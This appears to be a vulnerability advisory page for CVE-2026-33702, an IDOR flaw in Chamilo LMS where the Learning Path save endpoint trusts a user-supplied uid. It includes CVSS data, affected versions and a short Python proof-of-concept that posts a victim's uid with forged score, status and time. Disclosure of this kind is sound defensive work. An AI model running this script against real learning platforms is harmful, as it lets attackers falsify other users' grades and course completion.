Security Vulnerability Report
中文
CVE-2026-33702 CVSS 7.1 HIGH

CVE-2026-33702

Published: 2026-04-10 19:16:23
Last Modified: 2026-04-16 18:48:21

Description

Chamilo LMS is a learning management system. Prior to 1.11.38 and 2.0.0-RC.3, Chamilo LMS contains an Insecure Direct Object Reference (IDOR) vulnerability in the Learning Path progress saving endpoint. The file lp_ajax_save_item.php accepts a uid (user ID) parameter directly from $_REQUEST and uses it to load and modify another user's Learning Path progress — including score, status, completion, and time — without verifying that the requesting user matches the target user ID. Any authenticated user enrolled in a course can overwrite another user's Learning Path progress by simply changing the uid parameter in the request. This vulnerability is fixed in 1.11.38 and 2.0.0-RC.3.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:chamilo:chamilo_lms:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha4:*:*:*:*:*:* - VULNERABLE
Chamilo LMS < 1.11.38
Chamilo LMS < 2.0.0-RC.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL, replace with actual domain target_url = "http://example.com/main/lp/lp_ajax_save_item.php" # Attacker's session cookie (obtained after login) session_cookie = { "PHPSESSID": "attacker_session_id_here" } # Payload parameters # The 'uid' parameter is the ID of the victim user we want to modify payload = { "uid": "2", # Victim's User ID "lp_item_id": "123", "score": "100", "status": "completed", "time": "9999" } # Send the request response = requests.post(target_url, data=payload, cookies=session_cookie) # Check response if response.status_code == 200: print("PoC executed successfully. Check if target user progress was modified.") else: print(f"Request failed with status code: {response.status_code}")

References

Raw JSON Data

JSON
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